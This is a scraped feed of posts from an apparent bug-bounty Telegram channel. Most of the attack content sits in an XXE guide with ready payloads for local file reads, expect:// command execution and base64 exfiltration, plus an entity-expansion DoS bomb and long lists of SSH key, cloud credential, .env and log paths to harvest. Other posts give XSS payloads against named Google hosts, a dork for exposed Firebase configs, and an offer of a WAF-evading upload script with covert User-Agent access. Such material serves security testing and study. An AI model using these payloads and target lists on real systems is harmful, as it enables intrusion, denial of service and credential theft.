Brut Security
14.8K subscribers
950 photos
76 videos
290 files
992 links
โœ…Queries: @wtf_brut
๐Ÿ›ƒWhatsApp: wa.link/brutsecurity
๐ŸˆดTraining: brutsec.com
๐Ÿ“จE-mail: [email protected]
Download Telegram
๐Ÿ”ฅXXE to Remote Code Execution (RCE) โ€“ Real-World Attack Chainโšก

Hey Hunters,
DarkShadow hereโ€”dropping a quick tip for your next XXE hunt!

Escalate XXE vulnerability ๐Ÿ˜

1. Basic XXE Payload (Test Injection)


<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY test SYSTEM "file:///etc/passwd">
]>
<root>&test;</root>
If the response contains /etc/passwd, the app is XXE vulnerable.


2. RCE via expect:// PHP Wrapper (if enabled)

<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "expect://id">
]>
<root>&xxe;</root>
๏ปฟ
Result: Executes id command and returns output.
Condition: expect must be compiled with PHP (very rare, but deadly).


3. Local File Read using php://filter

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
]>
<foo>&xxe;</foo>

Output: Base64-encoded content of /etc/passwd. Decode it locally. (Effective to bypass WAF filters and got any outputs correct format)


4. XML Bomb (DoS)

<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
]>
<lolz>&lol2;</lolz>

Effect: Crashes or DoS the XML parser due to entity expansion.

5. Read User Private Keys (SSH)

Useful Paths to Check:
/home/*/.ssh/id_rsa
/root/.ssh/id_rsa
/etc/ssh/ssh_config
/var/backups/
/proc/self/environ (for creds or keys in memory)

๐Ÿ›‘Pro tip for more recon:

1. Steal AWS / Cloud Credentials via XXE

Also check:
/home/www-data/.aws/credentials
/proc/self/environ (might expose AWS keys, tokens)
2. Dump Configs for DB Creds or Secrets

Also check:
config.php
.env
db.php
settings.php
wp-config.php (WordPress)
phpmyadmin/config.inc.php (phpmyadmin)
administrator/.env (joomla)
config/services.yaml (Symfony Framework)
app/config.js, app/config.json (nodejs)
settings.py, config.py (Python / Django / Flask)
application.properties, application.yml, web.xml (Java / Spring Boot / JSP Apps)
database.yml (Ruby on Rails)

3. Bash History Abuse

Also check:
.bash_history
Sometimes contains:
MySQL login
Admin tools
SSH commands
Clear-text passwords
4. Read Logs for Token Harvesting


Web Server Logs:

/var/log/apache2/access.log
/var/log/apache2/error.log
/var/log/httpd/access_log
/var/log/httpd/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/error_log

PHP / App-Specific Logs:

/var/log/php_errors.log
/var/log/php8.1-fpm.log
/var/log/php7.4-fpm.log
/var/log/php5-fpm.log
/var/log/php-fpm/www-error.log

Laravel / Symfony / Framework Logs:

storage/logs/laravel.log
/var/www/html/storage/logs/laravel.log
/var/www/html/app/storage/logs/laravel.log
var/log/dev.log (Symfony)
app/logs/dev.log
Authentication / Session Logs
/var/log/auth.log
/var/log/secure
/var/log/faillog
/var/log/wtmp
/var/log/btmp
/var/log/lastlog

System Logs (May Contain Leaks or Stack Traces):

/var/log/syslog
/var/log/messages
/var/log/dmesg
/var/log/kern.log

Database Logs (If Exposed):

/var/log/mysql/error.log
/var/log/postgresql/postgresql.log
/var/log/mariadb/mariadb.log


5. Custom Internal Recon via /proc Files

Also check:
/proc/self/cmdline
/proc/self/fd/

Sometimes exposes secrets in memory or open database connections.

So guys what about my these methodology? If you guy's are really enjoyed, don't forget to show your love โค๏ธ

Don't forget to follow me ๐Ÿ‘‰๐Ÿผ DarkShadow

#bugbountytips #xxe
๐Ÿ‘19โค15๐Ÿ”ฅ7๐Ÿคจ1๐Ÿค1
๐Ÿ”ฅA new tool that reads reconftw results and uses a local LLM (Ollama) to generate actionable reports: bughunter, executive, or brief.

Itโ€™s lightweight, fast, and helps turn raw recon into insights.

๐Ÿ’ฅhttps://github.com/six2dez/reconftw_ai
Please open Telegram to view this post
VIEW IN TELEGRAM
โค10๐Ÿ”ฅ6๐Ÿ‘4
Good Morning Everyone ๐Ÿ’ฅ๐Ÿ’ฅ๐Ÿ’ฅ๐Ÿ’ฅ๐Ÿ’ฅ
So how's everything going on? ๐Ÿ”ฅ๐Ÿ‘€
Please open Telegram to view this post
VIEW IN TELEGRAM
โค14๐Ÿ”ฅ8
Hey Hunters,

DarkShadow here again. We all know how frustrating it is to test file upload vulnerabilitiesโ€”sometimes the file uploads, but you canโ€™t execute it because WAFs or IDS jump in.

So, Iโ€™ve built a next-level, compact script that actually bypasses most WAF and IDS protections. It uses 3 stealth techniques to evade restrictions and offers 2 output modes for flexibility.

What makes it even cooler?
No password needed.
It uses a unique auth mechanism based on the User-Agent headerโ€”no login form, no cookies, nothing else. If your User-Agent matches, youโ€™re in. If not, the script wonโ€™t even respond.



Wanna try it out? drop a comment and let me know. And of course, follow me on X โ†’ DarkShadow

#wafbypass
๐Ÿ˜ฑ8๐Ÿ‘7โค6๐Ÿ”ฅ4๐Ÿณ1๐Ÿ—ฟ1
Hey Hunter's,
DarkShadow here back again. Dropping a Google XSS POC1๐Ÿ˜

โœ…POC steps:
Vuln host: aihub.cloud.google.com
Vuln param: /url?q= (GET method)
Tecniq: double url encoding 
Payload: "><svg/onload=alert(document.domain)>

a simple XSS payload as usual๐Ÿ˜

The vulnerability has been patched๐Ÿฅฑ

Don't forget to follow me ๐Ÿ‘‰๐Ÿผ DarkShadow

#xss #poc #googlebug
๐Ÿ˜ฑ10๐Ÿ‘7๐Ÿ”ฅ4๐Ÿซก2๐Ÿ—ฟ1
โšกWaybackLister is a reconnaissance tool that taps into the Wayback Machine to fetch historical URLs for a domain, parses unique paths, and checks if any of those paths currently expose directory listings. It's fast, multithreaded, and built for practical use in security assessments and bug bounty recon.

โœ…https://github.com/anmolksachan/wayBackLister

โœ… Join Telegram For More Content: t.iss.one/brutsecurity
----------------------------------------------------------
๐ŸŽ“ Ready to Skill Up? Enroll Now โ†’ wa.link/brutsecurity

#CyberSecurity #BugBounty #EthicalHacking #Infosec #BrutSecurity
โค9๐Ÿ‘7๐Ÿ”ฅ5
CVE-2025-27007: Privilege Escalation in OttoKit WordPress Plugin, 9.8 rating ๐Ÿ”ฅ

Errors in the logic of the plugin's API could potentially lead to an attacker gaining access to the administrator account. According to Patchstack, exploitation of the vulnerability began just an hour after public disclosure!

Search at Netlas.io:
๐Ÿ‘‰ Link: https://nt.ls/y4FXX
๐Ÿ‘‰ Dork: http.body:"plugins/suretriggers"

Read more: https://patchstack.com/database/wordpress/plugin/suretriggers/vulnerability/wordpress-suretriggers-1-0-82-privilege-escalation-vulnerability?_s_id=cve
๐Ÿ‘14
Good morning hackers ๐Ÿฅฑ
Need more Google bug POC's? ๐Ÿ˜


ใ…ค
๐Ÿ‘33๐Ÿ”ฅ8๐Ÿ˜2๐Ÿค2
๐Ÿ“CPTS Cheat Sheet
๐Ÿ”—
https://github.com/zagnox/CPTS-cheatsheet
โค11๐Ÿค3
๐Ÿ”ฅSensitive informations leaks vai fofa Dorking ๐Ÿ’ฅ

Hey Hunter's, DarkShadow back again dropping a simple and effective dork.

Leaking firebase configurations๐Ÿ‘€

Fofa query:
body="firebaseapp" && domain="example.com"

Or

(body="firebaseapp" || body="firebaseconfig") && host=".target_domain_name_only"


If you guy's really enjoy to read my methodology's don't forget to follow me ๐Ÿ‘‰๐Ÿผ DarkShadow

#dork #bugbountytips
๐Ÿ—ฟ8๐Ÿ‘6โค4
Hey Hunter's,
Dark Shadow here back again. Dropping a Google XSS POC-2๐Ÿ˜

โœ…POC steps:

โ€ขVuln host: books.google.com
โ€ขXss type: stored based XSS
โ€ขVuln param: book name title and publisher name parameter.
โ€ขTechnique: direct inject the payload. Without any kind of encoding. (Reason: no input sanitization)
Payload: "><svg/onload=prompt(1)>

A simple payload can flip the game if you are use it in right place.๐Ÿ˜
The vulnerability has been patched๐Ÿฅฑ

Let me knowโ€”arenโ€™t you all interested to know that Google rewarded $31,337 for an SSRF vulnerability?
And
Don't forget to follow me ๐Ÿ‘‰๐Ÿผ
DarkShadow  

#xss #googlebug
๐Ÿ”ฅ23๐Ÿ—ฟ8๐Ÿ‘4โค2๐Ÿณ2
๐Ÿคฃ39๐Ÿ˜ข2๐Ÿ”ฅ1